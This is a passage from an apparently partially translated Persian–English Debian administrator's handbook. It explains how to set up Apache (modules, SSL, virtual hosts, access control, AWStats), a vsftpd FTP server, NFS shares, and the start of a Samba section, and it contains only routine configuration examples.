The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Buster at version 2.4.38.

جایگزین سایر سرورهای وب

آپاچی تقریبا شناخته شده‌ترین (و پرکاربردترین) سرور وب موجود است، اما گزینه‌های دیگری نیز وجود دارد؛ آن‌ها می‌توانند تحت شرایط خاص عملکرد بهتری داشته باشند اما با در نظر گرفتن ویژگی‌های و افزونه‌های کمتر نسبت به آپاچی. با این حال، زمانی که از سرور وب برای میزبانی فایل‌های ایستا یا کاربرد به عنوان یک پروکسی استفاده گردد، گزینه‌های جایگزین مانند nginx و lighttpd قابل توجه هستند.

11.2.1. نصب آپاچی

Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests, which used to be provided in separate apache2-mpm-* packages. It will also pull apache2-utils containing the command line utilities that we will discover later.

استفاده از MPM تاثیر بسزایی در عملکرد آپاچی برای مدیریت درخواست‌های هم‌زمان دارد. با افزونه‌های چند-پردازشی worker از threads (فرآیندهای سبک) و افزونه‌های چند-پردازشی prefork از مجموعه فرآیندهای گردآوری شده از قبل استفاده می‌کند. با افزونه‌های چند-پردازشی event همچنین از threads استفاده می‌کند، اما ارتباطات غیرفعال (آن‌هایی که توسط ویژگی keep-alive در HTTP باز نگه داشته شده‌اند) به یک thread مدیریتی انحصاری بازگردانده می‌شوند.

The Falcot administrators also install libapache2-mod-php7.3 so as to include the PHP support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php7.3-fpm.

امنیت اجرا به عنوان کاربر www-data

به صورت پیشفرض، آپاچی درخواست‌های دریافتی را با استفاده از کاربر www-data مدیریت می‌کند. به این معنی که در صورت بروز یک آسیب‌پذیری امنیتی در یک اسکریپت CGI اجرا شده توسط آپاچی (برای یک صفحه پویا) کل سیستم به خطر نمی‌افتد، بلکه تنهای فایل‌های مرتبط با این کاربر خاص.

Using the suexec modules, provided by apache2-suexec-* packages, allows bypassing this rule so that some CGI scripts are executed under the identity of another user. This is configured with a SuexecUserGroup usergroup directive in the Apache configuration.

حالت دیگر استفاده از یک افزونه چند-پردازشی اختصاصی است که توسط libapache2-mpm-itk فراهم می‌شود. این افزونه بخصوص عملکرد متفاوتی دارد: امکان “ایزوله‌کردن” گروه‌های مجازی (در حقیقت مجموعه‌ای از صفحات) را می‌دهد به گونه‌ای که هر کدام به عنوان کاربر جداگانه‌ای اجرا شوند. یک آسیب‌پذیری در یک وبسایت منجر نمی‌شود که فایل‌های مرتبط با وبسایت دیگر به خطر بیفتد.

نگاه سریع فهرستی از افزونه‌ها

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/index.html

آپاچی یک سرور ماژولار است و بسیاری ویژگی‌های آن با استفاده از افزونه‌های خارجی که برنامه اصلی هنگام فرآیند راه‌اندازی اولیه فراخوانی می‌کند، پیاده‌سازی شده است. پیکربندی پیشفرض تنها متداول‌ترین افزونه‌ها را فعال می‌سازد، اما فعال‌سازی یک افزونه جدید به سادگی اجرای دستور a2enmod module است؛ برای غیرفعال‌سازی یک افزونه، دستور a2dismod module استفاده می‌شود. این برنامه‌ها در حقیقت اقدام به ایجاد (یا حذف) پیوندهای نمادین از /etc/apache2/mods-enabled/ به فایل‌های واقعی موجود در /etc/apache2/mods-available/ می‌کنند.

IN PRACTICE Checking the configuration

The mod_info module (a2enmod info) allows to access the comprehensive Apache server configuration and information via browser visiting http://localhost/server-info. Because it might contain sensitive information, access is only allowed from the local host by default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

با پیکربندی پیشفرض خود، سرور وب به درگاه ۸۰ گوش داده (پیکربندی شده در /etc/apache2/ports.conf) و صفحات موجود در دایرکتوری /var/www/html/ را فراهم می‌کند (پیکربندی شده در /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adding support for SSL

Apache 2.4 includes the SSL module (mod_ssl) required for secure HTTP (HTTPS) out of the box. It just needs to be enabled with a2enmod ssl, then the required directives have to be added to the configuration files. A configuration example is provided in /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

If you want to generate trusted certificates, you can follow section قسمت 10.2.1, “Creating gratis trusted certificates” and then adjust the following variables:

SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromission of the server's secret key does not result in the compromission of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command.

→ https://mod.gnutls.org/

11.2.3. پیکربندی گروه‌های مجازی

یک گروه مجازی مانند یک شناسه جدید برای سرور وب است.

آپاچی دو نوع متفاوت از گروه مجازی را در نظر می‌گیرد: آن‌هایی که مبتنی بر نشانی IP (یا درگاه) و آن‌هایی که مبتنی بر نام دامنه سرور وب هستند. روش اول نیازمند اختصاص یک نشانی IP (یا درگاه) به هر سایت است در صورتی که روش دوم می‌تواند با یک نشانی IP (یا درگاه) کار کند و سایت‌ها با توجه به نام میزبان که توسط برنامه HTTP ارسال می‌شود، تشخیص داده می‌شوند (که تنها در نسخه ۱.۱ از پروتکل HTTP کار می‌کند - خوشبختانه این نسخه به قدری قدیمی است که تقریبا تمام برنامه‌ها از آن استفاده می‌کنند).

کمبود (رو به افزایش) نشانی‌های IPv4 معمولا منجر به استفاده از شیوه دوم می‌گردد؛ اگرچه، در صورت استفاده گروه‌های مجازی از HTTP، این فرآیند دشوارتر نیز می‌گردد، چرا که پروتکل SSL تا اکنون پشتیبانی از گروه مجازی نام-محور را فراهم نکرده است؛ افزونه Server Name Indication یا SNI که امکان چنین ترکیبی را می‌دهد توسط تمام مرورگرها پشتیبانی نمی‌شود. زمانی که نیاز به اجرای چندین سایت HTTPS روی یک سرور باشد، آن‌ها معمولا با اجرا روی یک درگاه جداگانه یا یک نشانی IP جداگانه (که IPv6 می‌تواند کمک کند) تشخیص داده می‌شوند.

پیکربندی پیشفرض آپاچی ۲ منجر به فعال‌سازی گروه‌های مجازی نام-محور می‌گردد. به علاوه، یک گروه مجازی پیشفرض در فایل /etc/apache2/sites-enabled/000-default.conf قرار دارد: از این گروه مجازی در صورتی که هیچ گروه دیگری متناسب با درخواست پیدا نشود استفاده می‌گردد.

احتیاط اولین گروه مجازی

درخواست‌هایی که به گروه‌های مجازی ناشناخته می‌شود همیشه توسط اولین گروه مجازی تعریف شده مدیریت می‌گردند، به همین دلیل است که ابتدا گروه مجازی www.falcot.com را تعریف کردیم.

نگاه سریع آپاچی از SNI پشتبانی می‌کند

سرور آپاچی از یک افزونه پروتکل SSL بنام Server Name Indication یا SNI پشتیبانی می‌کند. این افزونه به مرورگر اجازه می‌دهد هنگام برقراری ارتباط SSL نام میزبان سرور وب را ارسال کند، درست قبل از خود درخواست HTTP، که سابق بر این برای تشخیص گروه مجازی درخواستی از میان میزبان‌های موجود در همان سرور استفاده می‌شد (با نشانی IP و درگاه یکسان). اینکار به آپاچی اجازه می‌دهد تا مناسب‌ترین گواهینامه SSL را برای تراکنش پیش روی خود انتخاب کند.

قبل از SNI، آپاچی از گواهینامه تعریف شده در گروه مجازی پیشفرض استفاده می‌کرد. برنامه‌هایی که قصد دسترسی به گروه مجازی دیگری را داشتند، با اخطار رو به رو می‌شدند چرا که گواهینامه‌های دریافتی آنان با وبسایتی که قصد دسترسی آن را داشتند تطابق نداشت. خوشبختانه، اکنون اکثر مرورگرها با SNI کار می‌کنند؛ از جمله مایکروسافت اینترنت اکسپلورر از نسخه ۷.۰ (شروع در ویستا)، موزیلا فایرفاکس از نسخه ۲.۰، اپل سافاری از نسخه ۳.۲.۱ و تمام نسخه‌های گوگل کروم.

بسته آپاچی که در دبیان قرار دارد همراه با پشتیبانی SNI ساخته شده است؛ بنابراین پیکربندی خاصی مورد نیاز نیست.

هر گروه مجازی اضافی درون فایل جداگانه‌ای در مسیر /etc/apache2/sites-available/ قرار می‌گیرد. برپایی یک وبسایت برای دامنه falcot.org به سادگی ایجاد فایل پیکربندی آن و فعال‌سازی گروه مجازی با استفاده از a2ensite www.falcot.org است.

مثال 11.13. فایل /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

سرور آپاچی که تاکنون پیکربندی شده است، از فایل‌های گزارش یکسانی برای تمام گروه‌های مجازی استفاده می‌کند (اگرچه این عمل می‌تواند با افزودن عبارت CustomLog در تعریف هر گروه مجازی تغییر کند). پس منطقی به نظر می‌رسد به منظور درج نام گروه مجازی در گزارش‌ها، اقدام به سفارشی‌سازی قالب آن کرد. اینکار با استفاده از ایجاد یک فایل /etc/apache2/conf-available/customlog.conf انجام می‌شود که قالب جدیدی برای تمام فایل‌های گزارش تعریف می‌کند (با عبارت LogFormat) و فعال‌سازی آن با استفاده از a2enconf customlog خط CustomLog باید از فایل /etc/apache2/sites-available/000-default.conf حذف (یا مخفی) شود.

مثال 11.14. The /etc/apache2/conf-available/customlog.conf file

# New log format including (virtual) host name LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Now let's use this "vhost" format by default CustomLog /var/log/apache2/access.log vhost

11.2.4. عبارت‌های متداول

این قسمت به بررسی برخی از متداول‌ترین عبارت‌های پیکربندی در آپاچی می‌پردازد.

فایل پیکربندی اصلی معمولا شامل چندین بلاک Directory است؛ آن‌ها اجازه تعریف عملکردهای متفاوت برای سرور نسبت به محل قرارگیری فایل‌های ارائه شده را می‌دهند. چنین بلاکی معمولا شامل عبارت‌های Options و AllowOverride است.

مثال 11.15. بلاک Directory

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

عبارت DirectoryIndex شامل فهرستی از فایل‌ها است که هنگام درخواست برنامه به سرور بررسی می‌شوند. اولین فایل موجود در فهرست استفاده شده و به عنوان پاسخ فرستاده می‌شود.

عبارت Options به همراه فهرستی از گزینه‌های قابل فعال‌سازی می‌آید. مقدار None تمام گزینه‌ها را غیرفعال می‌کند؛ به همین شکل All همه را فعال‌سازی می‌کند بجز MultiViews. گزینه‌های موجود عبارتند از:

ExecCGI indicates that CGI scripts can be executed.

FollowSymlinks tells the server that symbolic links can be followed, and that the response should contain the contents of the target of such links.

SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and the its target have the same owner.

Includes enables Server Side Includes (SSI for short). These are directives embedded in HTML pages and executed on the fly for each request.

IncludesNOEXEC allows Server Side Includes (SSI) but disables the exec command and limits the include directive to text/markup files.

Indexes tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (i.e., when no files mentioned by the DirectoryIndex directive exists in this directory).

MultiViews enables content negotiation; this can be used by the server to return a web page matching the preferred language as configured in the browser.

بازگشت به مقدمات فایل .htaccess

فایل .htaccess شامل عبارت‌های پیکربندی آپاچی است که با هر مرتبه درخواست از یک دایرکتوری که در آن ذخیره شده است، فراخوانی می‌گردد. حوزه این عبارت‌ها به دایرکتوری‌های فرزند آن نیز ادامه می‌یابد.

اکثر عبارت‌هایی که می‌توانند درون یک بلاک Directory قرار گیرند در یک فایل .htaccess نیز مجاز هستند.

عبارت AllowOverride تمام گزینه‌هایی که می‌توانند توسط فایل .htaccess فعال یا غیرفعال شوند را فهرست می‌کند. یک کاربرد متداول این عبارت محدودکردن دسترسی به ExecCGI است، به طوری که مدیرسیستم تصمیم می‌گیرد کدام کاربران مجاز به اجرای برنامه با هویت سرور وب هستند (کاربر www-data).

11.2.4.1. الزامی ساختن احرازهویت

در برخی موارد، دسترسی به قسمت‌های یک وبسایت باید محدود شود، به طوری که تنها کاربران مجاز با داشتن نام کاربری و گذرواژه بتوانند به آن دسترسی یابند.

مثال 11.16. فایل .htaccess که احرازهویت را لازم می‌داند

Require valid-user AuthName "Private directory" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

امنیت بدون امنیت

سیستم احرازهویت استفاده شده در نمونه بالا (Basic) دارای حداقل امنیت لازم است چرا که گذرواژه بدون رمزنگاری ارسال می‌شود (تنها با استفاده از کدگذاری base64 ارسال می‌شود و نه یک شیوه معمول رمزنگاری). شایان ذکر است که اسناد “محافظت‌شده” با این مکانیزم، درون شبکه بدون رمزنگاری ارسال می‌شوند. اگر امنیت مد نظر باشد، تمام ارتباط HTTP باید توسط SSL رمزنگاری گردد.

The /etc/apache2/authfiles/htpasswd-private file contains a list of users and passwords; it is commonly manipulated with the htpasswd command. For example, the following command is used to add a user or change their password:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.4.2. محدود کردن دسترسی

The Require directive controls access restrictions for a directory (and its subdirectories, recursively).

→ https://httpd.apache.org/docs/2.4/howto/access.html

می‌تواند به منظور محدود کردن دسترسی با شرایط گوناگون بکار رود؛ ما تنها به بررسی محدودیت برای نشانی IP برنامه درخواست کننده می‌پردازیم، اما می‌تواند کارهای قدرتمندتری نسبت به آن را انجام دهد، بخصوص زمانی که چندین عبارت Require درون یک بلاک RequireAll قرار می‌گیرند.

مثال 11.17. فقط به شبکه محلی اجازه دسترسی بده

Require ip 192.168.0.0/16

جایگزین شیوه نگارش قدیمی

The Require syntax is only available in Apache 2.4 (the version shipped since Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using the mod_access_compat module.

عبارت‌های Allow from و Deny from محدودیت‌های دسترسی به یک دایرکتوری را کنترل می‌کنند (و دایرکتوری‌های فرزند آن به صورت بازگشتی).

عبارت Order به سرور می‌گوید به چه ترتیب عبارت‌های Allow from و Deny from را اعمال کند؛ آخرین عبارتی که منطبق باشد، انتخاب می‌شود. به عبارتی، Order deny,allow تنها در صورتی اجازه دسترسی می‌دهد که هیچ عبارت Deny from موجود نباشد یا یک عبارت Allow from موجود باشد. برعکس آن، Order allow,deny تنها در صورتی دسترسی را محدود می‌کند که هیچ عبارت Allow from موجود نباشد یا یک عبارت Deny from موجود باشد.

عبارت‌های Allow from و Deny from می‌توانند همراه با یک نشانی IP، یک شبکه (از جمله 192.168.0.0/255.255.255.0، 192.168.0.0/24 یا حتی 192.168.0)، یک نام میزبان یا دامنه یا کلیدواژه all که نشانگر همه است، قرار گیرند.

برای نمونه، به منظور محدود کردن ارتباطات تنها به شبکه محلی می‌توان از عبارت‌های زیر استفاده کرد:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. تحلیلگرهای گزارش

یک تحلیلگر گزارش معمولا در یک سرور وب نصب می‌شود؛ چرا که با اینکار الگوهای مصرف منابع در سرور در اختیار مدیرسیستم‌ها قرار می‌گیرد.

مدیرسیستم‌های شرکت فالکوت AWStats یا Advanced Web Statistics را برای تحلیل فایل‌های گزارش آپاچی انتخاب کرده‌اند.

اولین گام پیکربندی، سفارشی‌کردن فایل /etc/awstats/awstats.conf است. مدیرسیستم‌های فالکوت بجز پارامترهای زیر، تغییری در آن ایجاد نکرده‌اند:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

تمام این پارامترها توسط توضیحات موجود در فایل اولیه مستندسازی شده‌اند. به طور خاص، پارامترهای LogFile و LogFormat مکان و قالب فایل گزارش و اطلاعات موجود در آن را مشخص می‌کنند؛ SiteDomain و HostAliases فهرستی از تمام نام‌های شناخته شده که وبسایت با آن‌ها کار می‌کند را فهرست می‌کنند.

برای سایت‌های پرترافیک، DNSLookup معمولا نباید به 1 تنظیم شود؛ برای سایت‌های کوچکتر، از جمله فالکوت که در بالا مطرح شد، این تنظیم امکان گزارش‌های خواناتری را فراهم می‌کند که شامل نام کامل رایانه بجای نشانی IP آن است.

امنیت دسترسی به آمار

AWStats به صورت پیشفرض آمار خود را بدون هیچ محدودیتی در وبسایت قرار می‌دهد، اما امکان محدود کردن آن وجود دارد به طوری که تنها تعدادی نشانی‌های IP (شاید محلی) بتوانند به آن دسترسی داشته باشند؛ فهرست نشانی‌های IP مجاز می‌توانند درون پارامتر AllowAccessFromWebToFollowingIPAddresses قرار بگیرند.

AWStats همچنین برای سایر گروه‌های مجازی نیر فعال می‌شود؛ هر گروه مجازی به فایل پیکربندی خود نیاز دارد، از جمله /etc/awstats/awstats.www.falcot.org.conf.

مثال 11.18. فایل پیکربندی AWStats برای یک گروه مجازی

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

AWStats از شمایل‌های گوناگونی واقع در دایکتوری /usr/share/awstats/icon/ استفاده می‌کند. به منظور قابل دسترس بودن این شمایل‌ها در وبسایت، پیکربندی آپاچی باید با استفاده از عبارت زیر تغییر کند:

Alias /awstats-icon/ /usr/share/awstats/icon/

پس از چند دقیقه (و زمانی که اسکریپت چندین بار اجرا شود)، نتایج به صورت آنلاین قابل مشاهده هستند:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

احتیاط چرخش فایل گزارش

به منظور اینکه تمام فایل‌های گزارش مورد استفاده قرار گیرند، AWStats نیاز دارد که قبل از چرخش فایل‌های گزارش آپاچی اجرا گردد. با نگاه به عبارت prerotate از فایل /etc/logrotate.d/apache2، اینکار با قرار دادن یک پیوند نمادین به /usr/share/awstats/tools/update.sh در /etc/logrotate.d/httpd-prerotate انجام می‌شود.

$ cat /etc/logrotate.d/apache2 /var/log/apache2/*.log { daily missingok rotate 14 compress delaycompress notifempty create 644 root adm sharedscripts postrotate if invoke-rc.d apache2 status > /dev/null 2>&1; then \ invoke-rc.d apache2 reload > /dev/null 2>&1; \ fi; endscript prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \ run-parts /etc/logrotate.d/httpd-prerotate; \ fi; \ endscript } $ sudo mkdir -p /etc/logrotate.d/httpd-prerotate $ sudo ln -sf /usr/share/awstats/tools/update.sh \ /etc/logrotate.d/httpd-prerotate/awstats

نکته اینکه فایل‌های گزارش ایجاد شده توسط logrotate باید توسط همگان قابل خواندن باشند، بخصوص AWStats. در نمونه بالا، اینکار با خط create 644 root adm تضمین شده است (بجای مجوزهای پیشفرض 640).

11.3. سرور فایل FTP

FTP یا File Transfer Protocol یکی از اولین پروتکل‌های اینترنت است (RFC 959 که در سال ۱۹۸۵ ایجاد شد!). قبل از پیدایش وب، از آن به منظور توزیع فایل در شبکه استفاده می‌شد (پروتکل HTTP در سال ۱۹۹۰ و نسخه ۱.۰ آن به عنوان RFC 1945 در سال ۱۹۹۶ ایجاد شد).

این پروتکل امکان بارگذاری و بارگیری فایل‌ها را ممکن می‌سازد؛ به همین دلیل، امروزه از آن برای بروزرسانی وبسایت‌هایی که توسط ارائه‌دهنده خدمات اینترنتی میزبانی می‌شوند استفاده می‌شود (یا هر موجودیت دیگری که میزبانی وبسایت را به عهده دارد). در این موارد، دسترسی امن با استفاده از یک شناسه کاربری و گذرواژه صورت می‌گیرد؛ در صورت موفقیت‌آمیز بودن احرازهویت، سرور FTP اجازه خواندن-نوشتن در دایرکتوری خانه آن کاربر را می‌دهد.

سایر سرورهای FTP به منظور توزیع فایل‌ها برای دانلود عمومی آن‌ها بکار می‌روند؛ بسته‌های دبیان نمونه خوبی هستند. محتوای این سرورها از سایر سرورهای راه‌دور جغرافیایی بدست می‌آید؛ تا در اختیار کاربران نزدیک به آن سرور قرار بگیرند. یعنی نیازی به احرازهویت کاربر نیست؛ به همین دلیل به این حالت عملیات ... گفته می‌شود. به عبارت صحیح‌تر، برنامه‌ها با استفاده از نام کاربری anonymous احرازهویت می‌شوند؛ گذرواژه به صورت پیشفرض معمولا نشانی ایمیل است، که سرور آن را نادیده می‌گیرد.

Many FTP servers are available in Debian (ftpd[1], proftpd-basic, pyftpd and so on). The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

نصب این بسته یک کاربر سیستمی ftp ایجاد می‌کند. از این حساب کاربری همیشه برای ارتباطات FTP ناشناس استفاده می‌گردد که دایرکتوری خانه آن (/srv/ftp/) محل قرارگیری تمام فایل‌های عمومی برای سایر کاربران این سرویس است. پیکربندی پیشفرض آن در /etc/vsftpd.conf نیازمند برخی تغییرات است تا امکان دانلود فایل‌های عمومی بزرگ برای کاربران فراهم شود: دسترسی ناشناس باید فعال (anonymous_enable=YES) و دسترسی فقط-خواندنی کاربران محلی (local_enable=NO) باید غیرفعال شود. دومی از اهمیت خاصی برخوردار است، چرا که پروتکل FTP از هیچ شیوه رمزنگاری استفاده نمی‌کند و گذرواژه کاربر می‌تواند در طی مسیر شنود شود.

[1] The ftpd package is not included in Debian Buster due to a bug, which could not be solved before the release.

11.4. سرور فایل NFS

NFS (Network File System) is a protocol allowing remote access to a filesystem through the network. All Unix systems can work with this protocol.

SPECIFIC CASE Microsoft Windows and NFS Shares

When older or (so called) "Home" variants of Windows are involved, usually Samba ( قسمت 11.5, “راه‌اندازی اشتراک‌های ویندوز با Samba” ) must be used instead of NFS. Modern Windows Server and "Pro" or "Enterprise" Desktop solutions however have built-in support for NFS. After installation of the "Services for NFS" components NFS shares can be accessed and temporarily or permanently mounted like any other network share. Be aware of possible encoding issues in file names.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS ابزار بسیار مفیدی است، اما در گذر زمان از محدودیت‌های بسیاری رنج می‌برد، که اکثر آن‌ها با نسخه ۴ پروتکل برطرف شده‌اند. نقطه ضعف آن در پیکربندی آخرین نسخه است چرا که برای استفاده از ویژگی‌های پایه در امنیت مانند احرازهویت و رمزنگاری باید از ابزار Kerberos به این منظور استفاده شود و بدون استفاده از آن‌ها نباید این پروتکل را خارج از شبکه محلی استفاده کرد چرا که داده به صورت رمزنگاری نشده منتقل می‌شود (یک sniffer می‌تواند داده را رهگیری کند) و دسترسی‌ها نیز مبتنی بر نشانی IP درخواست‌کننده صادر می‌شود (که می‌توانند مورد سوءاستفاده قرار بگیرند).

مستندات راهنمای استفاده NFS

Good documentation to deploy NFSv4 is rather scarce. Here are some pointers with content of varying quality but that should at least give some hints on what should be done.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. ایمن‌سازی NFS

اگر از ویژگی‌های امنیتی مبتنی بر Kerberos استفاده نمی‌کنید، این نکته حیاتی است که تنها رایانه‌هایی که اجازه استفاده از NFS را دارند بتوانند به سرورهای درخواست RPC متصل شوند، چرا که پروتکل اولیه به داده دریافتی از شبکه اعتماد می‌کند. فایروال نیز باید IP spoofing را مسدود سازد تا رایانه‌ای خارج از شبکه نتواند خود را بجای یکی از اعضای شبکه معرفی کند، همچنین دسترسی به برخی درگاه‌ها نیز باید فقط به رایانه‌های قابل دسترس در NFS محدود شود.

بازگشت به مقدمات RPC

RPC یا Remote Procedure Call یک استاندارد یونیکس برای سرویس‌های راه‌دور است. NFS یکی از این سرویس‌ها است.

سرویس‌های RPC به یک دایرکتوری بنام portmapper متصل می‌شوند. برنامه‌ای که قصد پرس و جوی NFS را دارد ابتدا با portmapper تماس می‌گیرد (درگاه ۱۱۱ خواه TCP یا UDP) و به دنبال سرور NFS می‌گردد؛ پاسخ معمولا شامل درگاه ۲۰۴۹ (پیشفرض برای NFS) است. همه سرویس‌های RPC الزاما از یک درگاه ثابت استفاده نمی‌کنند.

نسخه‌های قدیمی‌تر پروتکل به سرویس‌های دیگری از RPC نیاز دارند که از درگاه‌های انتساب پویا استفاده می‌کنند. خوشبختانه، با نسخه ۴ از NFS، تنها درگاه‌های ۲۰۴۹ (برای NFS) و ۱۱۱ (برای portmapper) مورد نیاز هستند که به سادگی توسط فایروال کنترل می‌شوند.

11.4.2. سرور NFS

سرور NFS بخشی از کرنل لینوکس است؛ در کرنل‌های فراهم شده توسط دبیان به صورت یک افزونه کرنل درآمده است. اگر سرور NFS در زمان راه‌اندازی به صورت خودکار باید اجرا گردد، بسته nfs-kernel-server باید نصب گردد؛ این بسته شامل اسکریپت‌های راه‌اندازی اولیه است.

فایل پیکربندی سرور NFS، /etc/exports، دایرکتوری‌های قابل دسترس در شبکه را فهرست می‌کند (exported). برای هر اشتراک NFS، تنها فهرست مشخص شده از رایانه‌ها قادر به دسترسی هستند. کنترل دسترسی بهتری با استفاده از گزینه‌های پیکربندی آن ممکن است. شیوه نگارش این فایل بسیار ساده است:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

نکته اینکه در NFSv4، تمام دایرکتوری‌های صادر شده باید بخشی از یک ساختار سلسله‌مراتبی باشند که ریشه آن باید توسط گزینه‌های fsid=0 و fsid=root صادر و شناسایی شده باشد.

هر رایانه می‌تواند با استفاده از نام DNS یا نشانی IP شناسایی شود. مجموعه‌ای از رایانه‌ها نیز می‌توانند یا با شیوه نگارش *.falcot.com یا با محدوده نشانی IP به صورت 192.168.0.0/255.255.255.0 یا 192.168.0.0/24 شناسایی شوند.

دایرکتوری‌های به صورت فقط-خواندنی در حالت پیشفرض قرار می‌گیرند (یا با گزینه ro). گزینه rw اجازه دسترسی خواندنی-نوشتنی را می‌دهد. برنامه‌های NFS معمولا از درگاه مختص به root استفاده می‌کنند (به عبارت دیگر، زیر ۱۰۲۴)؛ این محدودیت با استفاده از گزینه insecure می‌تواند برداشته شود (گزینه secure به صورت ضمنی درج می‌شود اما برای خوانایی بیشتر می‌تواند استفاده شود).

به صورت پیشفرض، سرور تنها زمانی به پرس و جوی NFS پاسخ می‌دهد که عملیات فعلی دیسک تمام شده باشد (گزینه sync)؛ این کار می‌تواند با استفاده از گزینه async غیرفعال گردد. نوشتن‌های غیر-همزمان می‌تواند اندکی عملکرد کلی را بهبود ببخشد، اما قابلیت اعتماد را نیز کاهش می‌دهند چرا که خطر از دست دادن داده زمانی که سرور بین فعالیت‌های تایید نوشتن روی دیسک و انجام واقعی آن متوقف شود، وجود دارد. از زمانی که مقدار پیشفرض آن اخیرا تغییر کرده است (در مقایسه با مقداری قدیمی آن در NFS) تنظیم صریح آن توصیه می‌شود.

In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody user. This behavior corresponds to the root_squash option, and is enabled by default. The no_root_squash option, which disables this behavior, is risky and should only be used in controlled environments. If all users should be mapped to the user nobody, use all_squash. The anonuid=uid and anongid=gid options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user nobody and group nogroup).

در NFSv4، شما می‌تواند با استفاده از گزینه sec سطح امنیتی مورد نظر خود را مشخص کنید: sec=sys گزینه پیشفرض است که ویژگی خاصی را شامل نمی‌شود، sec=krb5 تنها احرازهویت را فعال می‌کند، sec=krb5i محافظت از جامعیت داده را می‌افزاید و sec=krb5p کامل‌ترین سطح امنیتی است که شامل محافظت از حریم شخصی می‌باشد (همراه با رمزنگاری). برای این منظور نیاز به یک راه‌اندازی آماده از Kerberos دارد (این سرویس در این کتاب پوشش داده نمی‌شود).

گزینه‌های دیگری نیز وجود دارند؛ آن‌ها در صفحه راهنمای exports(5) مستندسازی شده‌اند.

احتیاط اولین نصب

The /etc/init.d/nfs-kernel-server boot script only starts the server if /etc/exports lists one or more valid NFS shares. On initial configuration, once this file has been edited to contain valid entries, the NFS server must therefore be started with the following command:

# systemctl start nfs-kernel-server

11.4.3. برنامه NFS

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntaxes of the mount command and the /etc/fstab file.

مثال 11.19. اتصال دستی با استفاده از دستور mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

مثال 11.20. اتصال خودکار با درج در فایل /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

The entry described above mounts, at system startup, the NFS directory /shared/ from the arrakis server into the local /srv/shared/ directory. Read-write access is requested (hence the rw parameter). The nosuid option is a protection measure that wipes any setuid or setgid bit from programs stored on the share. If the NFS share is only meant to store documents, another recommended option is noexec, which prevents executing programs stored on the share. Note that on the server, the shared directory is below the NFSv4 root export (for example /export/shared), it is not a top-level directory.

صفحه راهنمای nfs(5) به توضیح تمام گزینه‌های بکار رفته در آن می‌پردازد.

11.5. راه‌اندازی اشتراک‌های ویندوز با Samba

سامبا مجموعه ابزاری است که پروتکل SMB را (که بنام “CIFS” نیز شناخته می‌شود) در لینوکس مدیریت می‌کند. این پروتکل توسط ویندوز برای اشتراک‌های شبکه و چاپگرهای اشتراکی استفاده می‌شود.

Samba can also act as a Windows domain controller. This is an outstanding tool for ensuring seamless integration of Linux servers and the office desktop machines still running Windows.

11.5.1. سرور سامبا

بسته samba شامل دو سرور اصلی از نسخه ۴ سامبا است، smbd و nmbd.

مستندات مطالعه بیشتر

